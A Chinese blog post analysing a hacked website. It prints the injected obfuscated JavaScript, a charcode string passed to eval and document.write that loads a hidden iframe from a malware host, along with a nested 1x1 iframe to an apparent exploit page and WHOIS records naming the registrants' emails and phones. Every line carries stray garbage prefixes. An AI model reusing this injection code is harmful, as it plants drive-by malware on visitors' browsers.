首发在我的博客里面，
> ;.* |bvGYsn_#= http://www.areway.cn/?p=175 L3>4t: 8 (o{)>D F$C+R&V_ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
/ ~"AG l. '7=<#Bl c <script>t=’60,105,102,114,97,109,101,
U:Fpj~E_w 32,115,114,99,61,104,116,116,112,58,47,47,
c8tP+O9 102,114,101,101,46,117,45,117,117,117,46,99,
p(7c33SyF 110,47,101,114,114,111,114,46,104,116,109,
" D!Dr1 32,119,105,100,116,104,61,49,48,48,32,104,
lzI/\% 101,105,103,104,116,61,48,62,60,47,105,102,
"
xxXZGUp 114,97,109,101,62′;
4=
$!_,. t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
R_~F6O^EO C0f[eA <script>t=’60,105,102,114,97,109,101,32,115,
TQ2i{e 114,99,61,104,116,116,112,58,47,47,102,114,
gTyW#verh$ 101,101,46,117,45,117,117,117,46,99,110,47,
sK[Nti0 101,114,114,111,114,46,104,116,109,32,119,
(T;1q^j 105,100,116,104,61,49,48,48,32,104,101,105,
?bCTLt7k 103,104,116,61,48,62,60,47,105,102,114,97,
]N_140N~ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
?xf~!D document.write(t);</script>
aH9L|BN* l85CJ+rg <html xmlns=”
2PI #ie4 http://www.w3.org/1999/xhtml b_ _n~\q_ “>
OT"lP(, <head>
~CJYQFt <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
cxk=|
?l <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
H;X~<WN&AW <title>首页 - 爱生活家庭网
G)K9la<p !zl/ 0o 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
"9.6\Y\* 转换字符串后的大概内容是（谁点击后果自付）：
L7[X|zmy*x <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
E'fX&[ @)06\ h 查询玉米u-uuu.cn的详细信息：
VN!^m]0 Domain Name: u-uuu.cn
00R % ROID: 20070901s10001s64972306-cn
6p e4Ni7I2 Domain Status: ok
hiT9H5 6 > Registrant Organization: 王雷
w`"W 3( Registrant Name: 王雷
(''$' 5~ Administrative Email:
czlovexs@126.com MQhYJ01i Sponsoring Registrar: 北京万网志成科技有限公司
bwT"$Ee Name Server:ns.yovole.com
WoJ]@Me8 Name Server:ns1.yovole.com
kv[OW"8t Registration Date: 2007-09-01 17:54
)
+*@AM E Expiration Date: 2008-09-01 17:54
8g&uE*7N 最后PING了一下地址 都没有什么….
KS8\F0q _GRv 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
7?*~oVZW <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
8APTk <script language=”javascript” src=”
Q&tFv;1w6 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ba A HP " >
mn,=V[f 这个玉米应该有可能是木马作者的：
9 eksCxFg foafau.info的详细信息：
7Ljs4>%l9j Access to INFO WHOIS information is provided to assist persons in
5 ,g$|,Shv determining the contents of a domain name registration record in the
`<bCq\+` Afilias registry database. The data in this record is provided by
=] 6_{#Z< Afilias Limited for informational purposes only, and Afilias does not
D_]i/
F% guarantee its accuracy. This service is intended only for query-based
'[0
3L9 access. You agree that you will use this data only for lawful purposes
%Tk}s fx and that, under no circumstances will you use this data to: (a) allow,
_dz:\v enable, or otherwise support the transmission by e-mail, telephone, or
ok8JnQC facsimile of mass unsolicited, commercial advertising or solicitations
(}~ 1{C@ to entities other than the data recipient’s own existing customers; or
t^dakL (b) enable high volume, automated, electronic processes that send
&fh .w]\ queries or data to the systems of Registry Operator, a Registrar, or
^$3w&$K * Afilias except as reasonably necessary to register domain names or
\=TWYj_Ah modify existing registrations. All rights reserved. Afilias reserves
)GQ D*b the right to modify these terms at any time. By submitting this query,
ntd
":BKi you agree to abide by this policy.
u~j'NOv Domain ID:D22418703-LRMS
FC|y'j 0 Domain Name:FOAFAU.INFO
!NQf< ch Created On:20-Nov-2007 16:05:42 UTC
^2P;CAjj-
Last Updated On:20-Nov-2007 16:05:44 UTC
k)o7COx Expiration Date:20-Nov-2008 16:05:42 UTC
`V$cz88b Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
}d$vcEI$3 Status:CLIENT DELETE PROHIBITED
(2&K (1.Y Status:CLIENT RENEW PROHIBITED
a2 IV!0x Status:CLIENT TRANSFER PROHIBITED
L|vaTidc0 Status:CLIENT UPDATE PROHIBITED
\v B9f A:* Status:TRANSFER PROHIBITED
\["1N-q b Registrant ID:GODA-040110615
+/1P^U / Registrant Name:liu hong
3RG/X Registrant Organization:
; L MEU_ Registrant Street1:beijing
LK oM\g( Registrant Street2:
y$"~^8"z Registrant Street3:
t2 `X! ` Registrant City:beijing
xNkwTDN5 Registrant State/Province:
u:p:*u_^I Registrant Postal Code:100000
[ 7CH(o1a& Registrant Country:CN
j.e`ip Registrant Phone:+86.860108888777
D
z]}@Z*jK Registrant Phone Ext.:
C[HE4xF6 Registrant FAX:
VbY>l' rY Registrant FAX Ext.:
=i Pd@f"$ Registrant Email:bbbshiji@163.com
rY P8V
> Admin ID:GODA-240110615
&S t~!y6M? Admin Name:liu hong
BBZ)H6TzL Admin Organization:
cviN$oL Admin Street1:beijing
'{1W )X Admin Street2:
;F IMCJS Admin Street3:
FlM.D u Admin City:beijing
"Hsq<o V8 Admin State/Province:
+;4AG::GN Admin Postal Code:100000
'bQ s_ Admin Country:CN
;nHo%`Zt Admin Phone:+86.860108888777
-6*OF.Ag` Admin Phone Ext.:
8M5!5Jzv Admin FAX:
U(=f5|- Admin FAX Ext.:
(& a3v Admin Email:bbbshiji@163.com
\5v=pDd4g Billing ID:GODA-340110615
({}O
M=_ Billing Name:liu hong
!F}J+N=} Billing Organization:
\3@2rW"5 Billing Street1:beijing
Z{|.xg sY Billing Street2:
N1B$ G Billing Street3:
~]D \&D9=? Billing City:beijing
#RZJ1uL Billing State/Province:
aL$c).hq0 Billing Postal Code:100000
UC<[z#]\; Billing Country:CN
[M zc^I& Billing Phone:+86.860108888777
vX!dMJa0 Billing Phone Ext.:
ML9T (th6v Billing FAX:
yQQDGFTb!= Billing FAX Ext.:
n=Z[w5 Billing Email:bbbshiji@163.com
GurE7J^= Tech ID:GODA-140110615
5i
wikC=y Tech Name:liu hong
cWy* K4O Tech Organization:
:)3$&QdHT Tech Street1:beijing
x X=IMM3 Tech Street2:
Dk. 9&9mz Tech Street3:
eUUD|U*b Tech City:beijing
j)S gB7Q Tech State/Province:
au9Wo<mR Tech Postal Code:100000
D aqy+: Tech Country:CN
f T+n-B Tech Phone:+86.860108888777
<8xP-( wk; Tech Phone Ext.:
M cMK|_H Tech FAX:
_<' kzOj Tech FAX Ext.:
Vzv.e6_ Tech Email:bbbshiji@163.com
f%"_U' Name Server:NS27.DOMAINCONTROL.COM
O7#}8-@}<u Name Server:NS28.DOMAINCONTROL.COM
bQnwi?2 Name Server:
]$`s}BN Name Server:
{D_ 4~heF Name Server:
* y"GgI Name Server:
xF :poi Name Server:
lC s8`bYU Name Server:
."#jN><t Name Server:
h0EGhJs Name Server:
`peJ s ~V Name Server:
IUBps0.T\ Name Server:
wx?{ | Name Server:
a[{QlD^D 7 >e~i, 接着下载每个文件里面的代码：
Y=wP3q 一步一步看..
@_weMz8} 
yK2*~T,6@ 
7{/:, 
m3v* ,~ 
>p+gx,N 
4 d 1Y\ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
